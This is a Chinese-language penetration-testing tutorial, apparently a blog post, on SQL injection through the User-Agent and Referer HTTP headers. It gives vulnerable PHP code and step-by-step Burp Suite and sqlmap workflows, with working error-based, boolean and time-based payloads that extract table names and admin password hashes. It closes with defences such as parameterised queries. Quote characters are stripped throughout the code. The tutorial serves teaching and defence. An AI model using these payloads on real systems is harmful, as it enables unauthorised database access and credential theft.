1. 从一次失败的登录绕过说起最近在复现一个老项目时遇到了一个挺有意思的场景。目标是一个后台登录页面用户名和密码都做了严格的过滤常规的、、or、and、union这些字符都被转义或者拦截了尝试了各种姿势都没能绕过去。正当我准备放弃觉得这个点可能真的没戏的时候习惯性地打开了Burp Suite的HTTP历史记录想看看整个交互过程有没有其他可利用的地方。这一看还真发现了点东西——在请求头里User-Agent和Referer这两个字段的值被原封不动地记录在了后台的访问日志表里。我当时就在想如果这个日志记录功能存在SQL查询并且没有对这两个头字段的值进行过滤那是不是意味着我们可以在User-Agent或者Referer里构造恶意SQL语句从而发起攻击这个思路就是我们今天要深入探讨的UA头注入User-Agent Injection和Referer注入。它们都属于HTTP头注入的范畴是SQL注入攻击中一个比较“偏门”但实际渗透中又确实可能遇到的攻击向量。与直接针对表单参数的注入不同这类注入点往往隐藏在HTTP请求的头部信息中更容易被开发人员和安全测试人员忽略。2. 理解HTTP头注入的底层逻辑在深入实操之前我们必须先搞清楚为什么User-Agent和Referer会成为注入点。这得从它们的应用场景和开发者的常见处理逻辑说起。2.1 典型的易受攻击代码模式想象一下这样一个非常普遍的开发需求网站需要记录用户的访问行为用于数据分析、安全审计或异常排查。一个简单的实现可能如下以PHP为例?php // 获取客户端信息 $user_agent $_SERVER[HTTP_USER_AGENT]; // 直接获取UA头 $referer isset($_SERVER[HTTP_REFERER]) ? $_SERVER[HTTP_REFERER] : 直接访问; // 获取Referer头 // 连接数据库 $conn new mysqli($servername, $username, $password, $dbname); // 将信息插入日志表 $sql INSERT INTO access_log (ip, user_agent, referer, access_time) VALUES ({$_SERVER[REMOTE_ADDR]}, $user_agent, $referer, NOW()); $result $conn-query($sql); ?这段代码的问题一目了然它直接将未经过滤的$_SERVER[HTTP_USER_AGENT]和$_SERVER[HTTP_REFERER]拼接进了SQL语句。$_SERVER是PHP的预定义超全局变量其中包含了头部信息。攻击者完全可以控制自己浏览器发送的HTTP请求头内容。为什么开发者容易在这里犯错认知偏差开发者普遍认为HTTP头部尤其是UA和Referer是浏览器自动生成或由其他“可信”网站设置的用户无法直接控制。实际上通过代理工具如Burp Suite或编程方式发送请求可以轻易修改任何HTTP头。功能优先级低日志记录、统计这类功能往往被认为是“非核心”功能在安全评审和代码审计时容易被忽视。框架的“安全感”如果网站使用ORM对象关系映射或预编译语句处理主要的业务SQL如用户登录、订单查询开发者可能会产生“整个应用都是安全的”错觉而忽略了这些零散的、手写SQL的角落。2.2 UA头与Referer头的可控性分析User-Agent这个头用于标识客户端浏览器、爬虫、工具的类型和版本。在浏览器设置中用户通常无法直接修改它。但是这完全不构成安全屏障。任何一款HTTP代理工具Burp Suite, Fiddler, Charles或使用curl、Python requests库编写的脚本都可以随意指定UA头的值。在渗透测试中修改UA头来绕过一些基础的WAFWeb应用防火墙规则也是常见操作。Referer这个头表示当前请求是从哪个页面链接过来的。对于普通用户点击链接的行为浏览器会自动生成。然而和UA头一样它也可以通过代理工具或脚本完全伪造。例如我可以将一个恶意链接嵌入到一个可信的第三方网站如通过评论、论坛当用户点击时Referer就会显示为该可信站点这本身也是一种攻击CSRF、Referer欺骗。在注入场景下我们关注的是直接伪造Referer值本身。注意Referer这个单词的正确拼写是“Referrer”但在HTTP标准制定时被错误地写成了Referer并且一直沿用至今。在代码中对应的服务器变量名通常是HTTP_REFERER注意拼写错误。核心要点只要应用程序将这两个或任何其他HTTP头部的值未经充分验证和过滤就直接拼接进数据库查询语句无论是INSERT、UPDATE还是SELECT就存在SQL注入漏洞。注入的类型可以是报错注入、布尔盲注、时间盲注甚至联合查询注入这取决于后端代码如何处理查询结果和错误。3. 手把手实战探测与利用UA/Referer注入理论清楚了我们进入实战环节。假设我们已经发现了一个可能存在头注入的站点例如一个会将UA记录到数据库的登录页面或文章浏览页面。3.1 环境准备与工具配置工欲善其事必先利其器。我们主要使用Burp Suite。配置浏览器代理将浏览器如Chrome的代理设置为Burp Suite默认127.0.0.1:8080。安装Burp证书访问http://burp下载并安装CA证书以便拦截HTTPS流量。开启拦截在Burp的Proxy-Intercept标签页确保Intercept is on。3.2 漏洞探测从模糊测试到确认注入探测的第一步是找到参数化的输入点。对于头注入我们需要修改HTTP请求头。发送正常请求用浏览器访问目标页面例如/login.php。在Burp中拦截到这个请求。修改HTTP头部在Burp的拦截界面找到User-Agent和Referer头部。我们可以尝试经典的探测载荷。单引号探测将User-Agent的值改为Mozilla/5.0 ...双引号探测改为Mozilla/5.0 ...逻辑探测改为Mozilla/5.0 ... AND 11和Mozilla/5.0 ... AND 12例如原始请求头可能是GET /login.php HTTP/1.1 Host: target.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 ...我们将其修改为GET /login.php HTTP/1.1 Host: target.com User-Agent: Mozilla/5.0 AND 11 ...然后点击Forward发送请求。观察响应这是最关键的一步。我们需要对比不同载荷下服务器返回的响应有何不同。直接报错如果页面返回了数据库错误信息如“You have an error in your SQL syntax...”那么注入点很可能存在并且是报错注入。通过报错信息我们可能直接获取到数据库结构、数据。页面内容差异如果页面没有直接报错但返回的HTML内容在 AND 11和 AND 12时存在明显不同例如一个正常显示一个显示空白或错误提示那么可能存在布尔盲注。例如 AND 11导致SQL条件永真日志被成功记录页面可能有一个不易察觉的成功标记而 AND 12导致条件永假插入失败页面可能缺少某个元素。时间延迟如果页面内容无变化可以尝试时间盲注载荷。将User-Agent改为Mozilla/5.0 AND SLEEP(5)--。如果请求响应时间明显增加了约5秒则存在时间盲注。这里的--是SQL注释符用于注释掉原SQL语句中后续可能存在的其他字符如闭合的单引号。对Referer头的测试完全同理。在拦截的请求中你可以添加或修改Referer头为上述探测载荷。实操心得很多时候应用程序对错误处理得很好页面不会直接崩掉。这时对比响应差异需要非常仔细。我常用的方法是将 AND 11的响应保存为文件A。将 AND 12的响应保存为文件B。使用diff工具Linux/Mac的diff命令或Windows下的对比软件进行比对寻找HTML长度、某个隐藏字段值、特定字符串的细微差别。Burp Suite的Comparer工具在Proxy-HTTP history中右键请求选择Send to Comparer非常适合做这个工作。3.3 利用漏洞以报错注入为例深入利用假设我们通过单引号触发了数据库报错确认存在注入点。后端SQL语句可能类似于INSERT INTO log (ua, time) VALUES (我们输入的UA值, NOW())当我们输入test时语句变成INSERT INTO log (ua, time) VALUES (test, NOW())这导致单引号未正确闭合而语法错误。现在我们利用报错注入来提取信息。以MySQL数据库为例常用的报错函数有updatexml()、extractvalue()和floor()等。利用步骤判断数据库类型和版本 修改User-Agent为 AND updatexml(1, concat(0x7e, version()), 1) AND 发送请求。如果报错信息中包含了MySQL版本号如5.7.36则证实为MySQL并获得了版本信息。0x7e是波浪号~的十六进制用于在报错信息中作为一个分隔符使其更容易被识别。获取当前数据库名 AND updatexml(1, concat(0x7e, database()), 1) AND 获取表名 首先需要知道数据库名假设为webapp。 AND updatexml(1, concat(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schemawebapp LIMIT 0,1)), 1) AND 这条语句会尝试获取webapp数据库中的第一个表名。通过修改LIMIT子句的参数0,1-1,1-2,1...可以遍历所有表。通常我们会寻找像users、admin、password这类敏感表。获取字段名 假设我们找到了一个名为admin_users的表。 AND updatexml(1, concat(0x7e, (SELECT column_name FROM information_schema.columns WHERE table_schemawebapp AND table_nameadmin_users LIMIT 0,1)), 1) AND 同样通过LIMIT遍历寻找username、password、email等字段。提取数据 假设表admin_users有字段username和password_hash。 AND updatexml(1, concat(0x7e, (SELECT concat(username, :, password_hash) FROM admin_users LIMIT 0,1)), 1) AND 这样就能提取出第一条管理员账号的凭据。为什么用updatexmlupdatexml()是MySQL的XML处理函数。它的第二个参数需要是合法的XPath表达式。当我们通过concat()拼接一个非法字符如~和其他字符串时它会因为XPath语法错误而中断执行并将concat()的结果作为错误信息的一部分返回。这就实现了“通过报错带出数据”的目的。extractvalue()原理类似。重要注意事项updatexml()和extractvalue()能报错返回的字符串长度是有限的约32KB且单次报错返回内容长度受限制通常一次只能显示几十个字符。对于较长的数据如完整的GROUP_CONCAT(table_name)结果需要配合substring()或mid()函数进行分片读取。例如 AND updatexml(1, concat(0x7e, substring((SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schemadatabase()), 1, 30)), 1) AND 然后依次将substring(..., 31, 30)、substring(..., 61, 30)...作为载荷拼接出完整结果。这是一个繁琐但必要的过程。3.4 盲注场景下的自动化利用如果目标不存在报错注入而是布尔盲注或时间盲注手动利用将极其低效。这时必须借助自动化工具。使用Burp Suite的Intruder将存在注入的请求发送到Intruder。在Positions标签清空所有自动标记然后手动在User-Agent值中需要爆破的位置例如Mozilla/5.0 AND SUBSTRING(database(),1,1)a AND 标记两个§符号包围住a。在Payloads标签设置Payload type为Brute forcer字符集选择a-z0-9根据情况调整设置最小和最大长度都为1。在Options标签的Grep - Match部分添加一个用于区分True和False响应的字符串例如True时页面包含的特定词“success”False时不包含。开始攻击观察哪个payload字母的响应匹配了True条件那就是数据库名的第一个字符。然后修改载荷为SUBSTRING(database(),2,1)进行第二轮以此类推。使用sqlmap终极利器 对于头注入sqlmap可以非常方便地进行自动化检测和利用。命令格式如下sqlmap -u http://target.com/login.php --headersUser-Agent: Mozilla/5.0* --level3 --risk2-u: 指定目标URL。--headers: 指定要测试的HTTP头。*号表示sqlmap将在该位置进行注入测试。你也可以同时测试多个头--headersUser-Agent: test*\\nReferer: http://test.com*。--level3: 检测等级提高到3默认是1等级越高测试的Payload和参数越多。对于头注入通常需要level3才会检测。--risk2: 风险等级提高到2默认是1允许使用一些可能造成数据更新的Payload如基于时间的盲注。如果检测到注入后续就可以使用--dbs枚举数据库、-D database_name --tables枚举表、-D ... -T table_name --columns枚举列、-D ... -T ... -C column1,column2 --dump导出数据等参数进行全自动数据提取。踩坑实录使用sqlmap自动化利用头注入时一个常见的坑是会话Session问题。如果目标网站有登录状态或CSRF令牌需要先用浏览器正常登录然后将Burp中抓到的完整Cookie或Session ID通过--cookie...参数提供给sqlmap否则sqlmap发起的请求可能因为未授权而被重定向到登录页导致检测失败。我个人的习惯是先用Burp手动确认漏洞存在再用sqlmap的--proxyhttp://127.0.0.1:8080参数让它通过Burp发送请求这样既能利用sqlmap的自动化能力又能通过Burp实时观察所有Payload和响应便于调试和理解。4. 防御之道从根源上杜绝头注入风险作为开发者如何避免掉入头注入的陷阱作为安全测试人员如何向开发团队提出有效的修复建议防御的核心原则与所有SQL注入防御一致永远不要信任用户输入包括HTTP头部。4.1 最佳实践参数化查询预编译语句这是唯一被广泛认可为能从根本上防止SQL注入的方法。无论使用哪种编程语言和数据库驱动都应优先采用。PHP (PDO):$stmt $pdo-prepare(INSERT INTO access_log (ip, user_agent, referer, access_time) VALUES (:ip, :ua, :ref, NOW())); $stmt-bindParam(:ip, $_SERVER[REMOTE_ADDR]); $stmt-bindParam(:ua, $_SERVER[HTTP_USER_AGENT]); $stmt-bindParam(:ref, $_SERVER[HTTP_REFERER]); $stmt-execute();Python (PyMySQL/sqlite3):cursor.execute(INSERT INTO access_log (ip, user_agent, referer, access_time) VALUES (%s, %s, %s, NOW()), (request.remote_addr, request.headers.get(User-Agent), request.headers.get(Referer)))Java (JDBC):String sql INSERT INTO access_log (ip, user_agent, referer, access_time) VALUES (?, ?, ?, NOW()); PreparedStatement pstmt connection.prepareStatement(sql); pstmt.setString(1, request.getRemoteAddr()); pstmt.setString(2, request.getHeader(User-Agent)); pstmt.setString(3, request.getHeader(Referer)); pstmt.executeUpdate();原理SQL语句的模板INSERT ... VALUES (?, ?, ?)在数据库中被预先编译语义已经固定。后续传入的参数$_SERVER[HTTP_USER_AGENT]等会被数据库引擎严格视为数据而不是SQL代码的一部分。即使参数中包含、、OR 11--等字符它们也只会被当作一个普通的字符串值插入到字段中而不会改变原SQL语句的结构。4.2 补充措施输入验证与输出编码虽然参数化查询是首选但在某些遗留系统或复杂场景下可能还需要其他措施作为补充或深度防御。严格的输入验证白名单对于User-Agent可以定义一个可接受的正则表达式模式。虽然UA字符串格式复杂但可以设定一个合理的最大长度如512字节并拒绝包含明显SQL关键字UNIONSELECTINSERT--#;的输入。注意这种黑名单方式很容易被绕过如大小写混淆、双写、编码因此不能作为主要防御手段。对于Referer可以验证其格式是否为合法的URL并且是否来源于预期的域名你自己的网站域名。这更多是用于业务逻辑校验对防御注入的帮助有限。// 示例简单的长度和字符检查辅助手段 $user_agent $_SERVER[HTTP_USER_AGENT]; if (strlen($user_agent) 512) { $user_agent substr($user_agent, 0, 512); // 截断 } // 移除或转义危险字符不推荐作为唯一手段 // $user_agent str_replace(array(, , \\), , $user_agent);输出编码/转义如果因为某些原因数据必须被拼接进SQL语句强烈不推荐那么必须使用数据库特定的转义函数。例如MySQLi的real_escape_string()。$user_agent $conn-real_escape_string($_SERVER[HTTP_USER_AGENT]); $sql INSERT ... VALUES ($user_agent, ...);重要警告转义函数并非万能。它的效果依赖于数据库的字符集设置。如果数据库连接字符集与转义函数预期的字符集不匹配例如连接使用GBK而函数按UTF-8转义仍然可能存在宽字节注入等绕过风险。因此转义是次优选择参数化查询才是王道。4.3 架构与运维层面的纵深防御最小权限原则用于连接Web应用程序和数据库的账户只应拥有其必要的最小权限。例如一个只用于记录日志的数据库用户可能只需要INSERT权限到access_log表而不需要SELECT、UPDATE、DELETE权限更不需要FILE、EXECUTE等高级权限。这样即使发生注入攻击者能造成的破坏也有限。Web应用防火墙WAF部署WAF可以在网络层面拦截常见的SQL注入攻击模式包括针对HTTP头部的注入。它可以作为一道额外的防线但不应被视为修复漏洞的替代方案。熟练的攻击者可能通过混淆技术绕过WAF规则。安全开发生命周期SDL与代码审计将安全要求嵌入开发流程。在代码审查阶段重点关注所有与数据库交互的代码特别是那些处理$_SERVER、$_COOKIE、$_REQUEST等超全局变量的地方。使用静态代码分析工具SAST可以帮助自动发现潜在的SQL注入点。错误信息处理配置生产环境不向用户显示详细的数据库错误信息。自定义统一的错误页面避免将数据库结构、查询语句等敏感信息泄露给攻击者。这能有效增加报错注入的难度。5. 拓展思考其他HTTP头部的安全隐患UA头和Referer注入只是HTTP头注入的冰山一角。任何由客户端发送、且被服务器端信任并处理的HTTP头部都可能成为攻击向量。X-Forwarded-For (XFF) / Client-IP常用于在负载均衡或代理后获取用户真实IP。如果应用程序信任这个头并将其用于身份验证、日志记录或SQL查询攻击者可以伪造IP地址可能用于IP白名单绕过、伪造地理位置或触发注入。Cookie虽然Cookie通常用于会话管理但如果应用程序错误地将Cookie值用于数据库查询例如根据Cookie中的用户ID直接查询用户信息而未经验证也可能存在注入风险。更常见的是Cookie本身可能被篡改以进行会话劫持。Host在某些虚拟主机配置或生成绝对URL的场景下Host头可能被直接使用。伪造Host头可能导致密码重置链接劫持、缓存投毒Cache Poisoning等攻击。自定义头部一些应用程序会定义并使用自定义的HTTP头部。这些头部同样需要像对待用户输入一样进行严格的验证和过滤。安全测试中的启发在进行Web渗透测试时不应只盯着URL参数和POST表单。用Burp Suite等工具拦截任何一个请求尝试修改每一个HTTP头部的值观察应用程序的响应变化是发现“偏门”漏洞的有效方法。将这种“不信任任何客户端输入”的思维贯穿始终才能构建更稳固的防御体系。